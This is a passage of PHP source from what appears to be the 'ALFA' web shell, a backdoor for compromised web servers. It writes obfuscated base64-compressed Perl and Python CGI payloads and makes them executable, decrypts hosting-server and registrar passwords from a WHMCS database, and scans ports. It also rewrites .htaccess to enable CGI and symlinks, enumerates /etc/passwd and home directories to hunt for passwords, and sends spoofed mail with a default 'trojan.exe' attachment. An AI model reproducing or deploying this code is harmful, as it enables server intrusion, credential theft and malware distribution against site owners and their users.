$perl = '#!/usr/bin/perl   -I/usr/local/bandmin'."\n".'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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")));';;
$py = '#!/usr/bin/python'."\nimport zlib, base64\n".'eval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))';
if($_POST['alfa1']=='perl'){$code = $perl;}else{$code = $py;}
if(__write_file($name,$code)){
@chmod($name,0755);
echo '<iframe src="'.__ALFA_DATA_FOLDER__.'/cgialfa/'.$name.'" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>';
}
}
echo $div;
alfafooter();
}
function alfaWhmcs(){
alfahead();
echo '<div class=header>';
function decrypt($string,$cc_encryption_hash){
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash($key);
$hash_length = strlen ($hash_key);
$string = __ZGVjb2Rlcg($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash($string)
{
if(function_exists('sha1'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = '';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
AlfaNum(8,9,10);
echo "<center><br><div class='txtfont_header'>| WHMCS DeCoder |</div><p>".getConfigHtml('whmcs')."</p><form onsubmit=\"g('Whmcs',null,this.form_action.value,'decoder',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">
<input type='hidden' name='form_action' value='2'>";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'cc_encryption_hash : ', 'inputName' => 'cc_encryption_hash', 'id' => 'cc_encryption_hash', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<p><input type='submit' value=' ' name='Submit'></p></form></center>";
if($_POST['alfa5']!=''){
$db_host=($_POST['alfa7']);
$db_username=($_POST['alfa3']);
$db_password=($_POST['alfa4']);
$db_name=($_POST['alfa5']);
$cc_encryption_hash=($_POST['alfa6']);
echo __pre();
$conn=@mysqli_connect($db_host,$db_username,$db_password,$db_name) or die(mysqli_error($conn));
$query = mysqli_query($conn,"SELECT * FROM tblservers");
$num = mysqli_num_rows($query);
if ($num > 0){
for($i=0; $i <=$num-1; $i++){
$v = @mysqli_fetch_array($query);
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>$type</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>$active</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>$hostname</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>$ipaddress</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>$username</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>$password</td></tr></b>");
echo "</table><br><br></center>";
}
$query1 = @mysqli_query($conn,"SELECT * FROM tblregistrars");
$num1 = @mysqli_num_rows($query1);
if ($num1 > 0){
for($i=0; $i <=$num1 -1; $i++){
$v = mysqli_fetch_array($query1);
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt($v['value'], $cc_encryption_hash);
if ($value==""){
$value=0;
}
echo("<center>Domain Reseller <br><center>");
echo("<center><table border='1'>");
echo("<tr><td><b><font color=\"#67ABDF\">Register</font></td><td>$registrar</td></tr></b>");
echo("<tr><td><b><font color=\"#67ABDF\">Setting</font></td><td>$setting</td></tr></b>");
echo("<tr><td><b><font color=\"#67ABDF\">Value</font></td><td>$value</td></tr></b>");
echo "</table><br><br></center>";
}
}
}else{__alert('<font color="red">tblservers is Empty...!</font>');};
}
echo "</div>";
alfafooter();
}
function alfaportscanner(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Port Scaner |</div></p>
<form action="" method="post" onsubmit="g(\'portscanner\',null,null,this.start.value,this.end.value,this.host.value); return false;">
<input type="hidden" name="y" value="phptools">
<div class="txtfont">Host: </div> <input id="text" type="text" name="host" value="localhost"/>
<div class="txtfont">Port start: </div> <input id="text" size="5" type="text"  name="start" value="80"/>
<div class="txtfont">Port end: </div> <input id="text" size="5" type="text" name="end" value="80"/> <input type="submit" value=" " />
</form></center><br>';
$start = strip_tags($_POST['alfa2']);
$end = strip_tags($_POST['alfa3']);
$host = strip_tags($_POST['alfa4']);
if(isset($_POST['alfa4']) && is_numeric($_POST['alfa3']) && is_numeric($_POST['alfa2'])){
echo __pre();
$packetContent = "GET / HTTP/1.1\r\n\r\n";
if(ctype_xdigit($packetContent))$packetContent = @pack("H*" , $packetContent);
else{
$packetContent = str_replace(array("\r","\n"), "", $packetContent);
$packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
}
for($i = $start; $i<=$end; $i++){
$sock = @fsockopen($host, $i, $errno, $errstr, 3);
if($sock){
stream_set_timeout($sock, 5);
fwrite($sock, $packetContent."\r\n\r\n\x00");
$counter = 0;
$maxtry = 1;
$bin = "";
do{
$line = fgets($sock, 1024);
if(trim($line)=="")$counter++;
$bin .= $line;
}while($counter<$maxtry);
fclose($sock);
echo "<center><p>Port <font style='color:#DE3E3E'>$i</font> is open</p>";
echo "<p><textarea style='height:140px;width:50%;'>".$bin."</textarea></p></center>";
}
flush();
}
}
echo '</div>';
alfafooter();
}
function alfacgihtaccess($m,$d='', $symname=false){
$readme = "";
if($symname){$readme="\nReadmeName ".trim($symname);}
if($m=='cgi'){
$code = "#Coded By Sole Sad & Invisible\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .alfa\nAddHandler cgi-script .alfa";
}elseif($m=='sym'){
$code = "#Coded By Sole Sad & Invisible\nOptions Indexes FollowSymLinks\nDirectoryIndex solevisible.phtm\nAddType text/plain php html php4 phtml\nAddHandler text/plain php html php4 phtml{$readme}\nOptions all";
}elseif($m=='shtml'){
$code = "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml";
}
@__write_file($d . ".htaccess", $code);
}
function alfabasedir(){
alfahead();
echo '<div class=header>
<center><p><div class="txtfont_header">| Open Base Dir |</div></p></center>';
$passwd = _alfa_file('/etc/passwd');
if(is_array($passwd)){
$users = array();
$makepwd = alfaMakePwd();
$basedir = @ini_get('open_basedir');
$safe_mode = @ini_get('safe_mode');
if(_alfa_can_runCommand(true,false)&&($basedir||$safe_mode)){
$bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";
$tmp_path = alfaWriteTocgiapi("basedir.alfa",$bash);
$bash_users  = alfaEx("cd ".$tmp_path."/alfacgiapi;sh basedir.alfa ".$makepwd,false,true,true);
$users = json_decode($bash_users, true);
$x=count($users);
if($x>=2){array_pop($users);--$x;}
}
if(!$basedir&&!$safe_mode){
$x=0;
foreach($passwd as $str){
$pos = strpos($str,':');
$username = substr($str,0,$pos);
$dirz = str_replace("{user}", $username, $makepwd);
if(($username != '')){
if (@is_readable($dirz)){
array_push($users,$username);
$x++;
}}}
}
echo '<br><br>';
echo "<b><font color=\"#00A220\">[+] Founded ".sizeof($passwd)." entrys in /etc/passwd\n"."<br /></font></b>";
echo "<b><font color=\"#FFFFFF\">[+] Founded ".$x." readable ".str_replace("{user}", "*", $makepwd)." directories\n"."<br /></font></b>";
echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...\n\n"."<br /><br /><br /></font></b>";
foreach($users as $user){
if(empty($user))continue;
$path = str_replace("{user}", $user, $makepwd);
echo "<form method=post onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class='foottable' type=text name=c value='$path'><input type=submit value='>>'></form><br>";
}
}else{echo('<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>');}
echo '<br><br></b>';
echo '</div>';
alfafooter();
}
function alfamail(){
alfahead();
echo '<div class=header>';
AlfaNum(8,9,10);
echo '<center><p><div class="txtfont_header">| Fake Mail |</div></p><form action="" method="post" onsubmit="g(\'mail\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,\'>>\',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;">';
$table = array(
'td1' => array('color' => 'FFFFFF', 'tdName' => 'Mail To : ', 'inputName' => 'mail_to', 'inputValue' => '[email protected]', 'inputSize' => '60','placeholder' => true),
'td2' => array('color' => 'FFFFFF', 'tdName' => 'From : ', 'inputName' => 'mail_from', 'inputValue' => '[email protected]', 'inputSize' => '60', 'placeholder' => true),
'td3' => array('color' => 'FFFFFF', 'tdName' => 'Subject : ', 'inputName' => 'mail_subject', 'inputValue' => 'your site hacked by me', 'inputSize' => '60'),
'td4' => array('color' => 'FFFFFF', 'tdName' => 'Attach File : ', 'inputName' => 'mail_attach', 'inputValue' => $GLOBALS['cwd'].'trojan.exe', 'inputSize' => '60'),
'td5' => array('color' => 'FFFFFF', 'tdName' => 'Count Mail : ', 'inputName' => 'count_mail', 'inputValue' => '1', 'inputSize' => '60')
);
create_table($table);
echo '<p><div class="txtfont">Message:</div></p><textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea><p><input type="submit" value=" " name="mail_send" /></p></form></center>';
if(isset($_POST['alfa4'])&&($_POST['alfa4'] == '>>')){
$mail_to = $_POST['alfa1'];
$mail_from = $_POST['alfa2'];
$mail_subject = $_POST['alfa3'];
$mail_content = $_POST['alfa5'];
$count_mail = (int)$_POST['alfa6'];
$mail_attach = $_POST['alfa7'];
if(filter_var($mail_to, FILTER_VALIDATE_EMAIL)){
if(!empty($mail_attach)&&@is_file($mail_attach)){
$file = $mail_attach;
$content = __read_file($file);
$content = chunk_split(__ZW5jb2Rlcg($content));
$uid = md5(uniqid(time()));
$filename = basename($file);
$headers  = "From: ".$mail_from." <".$mail_from.">\r\n";
$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \r\n";
$headers .= "Reply-To: ".$mail_from."\r\n";
$headers .= "Content-Type: multipart/mixed; boundary=\"".$uid."\"\r\n\r\n";
$headers .= 'MIME-Version: 1.0' . "\r\n";
$headers .= 'X-Mailer: php' . "\r\n";
$mail_content  = "--".$uid."\r\n";
$mail_content .= "Content-type:text/plain; charset=iso-8859-1\r\n";
$mail_content .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
$mail_content .= $mail_content."\r\n\r\n";
$mail_content .= "--".$uid."\r\n";
$mail_content .= "Content-Type: application/octet-stream; name=\"".$filename."\"\r\n";
$mail_content .= "Content-Transfer-Encoding: base64\r\n";
$mail_content .= "Content-Disposition: attachment; filename=\"".$filename."\"\r\n\r\n";
$mail_content .= $content."\r\n\r\n";
$mail_content .= "--".$uid."--";
}else{
$headers  = "From: " . $mail_from. " ( ".$mail_from." ) \r\n";
$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \r\n";
$headers .= 'Reply-To: '.$mail_from.'' . "\r\n";
$headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";
$headers .= 'MIME-Version: 1.0' . "\r\n";
$headers .= 'X-Mailer: php' . "\r\n";
}
if(empty($count_mail)||$count_mail<1)$count_mail=1;
if(!empty($mail_from)){echo __pre();
for($i=1;$i<=$count_mail;$i++){
if(@mail($mail_to,$mail_subject,$mail_content,$headers))echo("<center>Sent -> $mail_to<br></center>");
}}else{__alert("Invalid Mail From !");}
}else{__alert("Invalid Mail To !");}
}
echo('</div>');
alfafooter();
}
function alfaziper(){
alfahead();
AlfaNum(8,9,10);
echo '<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>
<form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="'.(!empty($_POST['alfa3'])?htmlspecialchars($_POST['alfa3']):htmlspecialchars($GLOBALS['cwd'])).'" size="60"/>
<div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="'.$GLOBALS['cwd'].'alfa.zip" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){
$dirzip = $_POST['alfa3'];
$zipfile = $_POST['alfa4'];
if($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){
alfaEx("powershell Compress-Archive -Path '".addslashes($dirzip)."' -DestinationPath '".addslashes(basename($zipfile))."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){
alfaEx("cd '".addslashes(dirname($zipfile))."';zip -r '".addslashes(basename($zipfile))."' '".addslashes($dirzip)."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif(class_exists('ZipArchive')){
if(__alfaziper($dirzip, $zipfile)){
echo __pre().'<center><p><font color="green">Success...!<br>'.$zipfile.'</font></p></center>';
}else{echo __pre().'<center><p><font color="red">ERROR!!!...</font></p></center>';}
}
}
echo '</div>';
alfafooter();
}
function __alfaziper($source,$destination){
	if(!extension_loaded('zip')||!file_exists($source)){
		return false;
	}
	$zip=new ZipArchive();
	if(!$zip->open($destination,ZIPARCHIVE::CREATE)){
		return false;
	}
	$source=str_replace('\\','/',realpath($source));
	if(is_dir($source)===true){
		$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);
		foreach($files as $file){
			$file=str_replace('\\','/',$file);
			if(in_array(substr($file,strrpos($file,'/')+1),array('.','..')))continue;
			$file=realpath($file);
			if(is_dir($file)===true){
				$zip->addEmptyDir(str_replace($source.'/','',$file.'/'));
			}else if(is_file($file)===true){
				$zip->addFromString(str_replace($source.'/','',$file),file_get_contents($file));
			}
		}
	}else if(is_file($source)===true){
		$zip->addFromString(basename($source),file_get_contents($source));
	}
	return $zip->close();
}
function alfadeziper(){
alfahead();
AlfaNum(8,9,10);
echo '<div class=header><p><center><p><div class="txtfont_header">| DeCompressor |</div></p>
<form onSubmit="g(\'deziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">File: </div> <input type="text" name="dirzip" value="'.(!empty($_POST['alfa3'])?htmlspecialchars($_POST['alfa3']):htmlspecialchars($GLOBALS['cwd'])).'" size="60"/>
<div class="txtfont">Extract To: </div> <input type="text" name="zipfile" value="'.$GLOBALS['cwd'].'" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){
$dirzip = $_POST['alfa3'];
$zipfile = $_POST['alfa4'];
if(@!is_dir($zipfile)){
	@mkdir($zipfile, 0777, true);
}
$finfo = "";
$file_type = "";
if(function_exists('finfo_open')){
$finfo = @finfo_open(FILEINFO_MIME_TYPE);
$file_type = @finfo_file($finfo, $dirzip);
@finfo_close($finfo);
}else{
	if($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){
		$file_type = alfaEx('file -b --mime-type ' . $dirzip);
	}
}
if($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){
alfaEx("powershell expand-archive -path '".addslashes($dirzip)."' -destinationpath '".addslashes(basename($zipfile))."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif($GLOBALS['sys']=='unix'&&!empty($file_type)&&_alfa_can_runCommand(true,true)&&(strlen(alfaEx('which unzip')) > 0||strlen(alfaEx('which tar')) > 0||strlen(alfaEx('which gunzip')) > 0)){
switch ($file_type) {
	case 'application/zip':
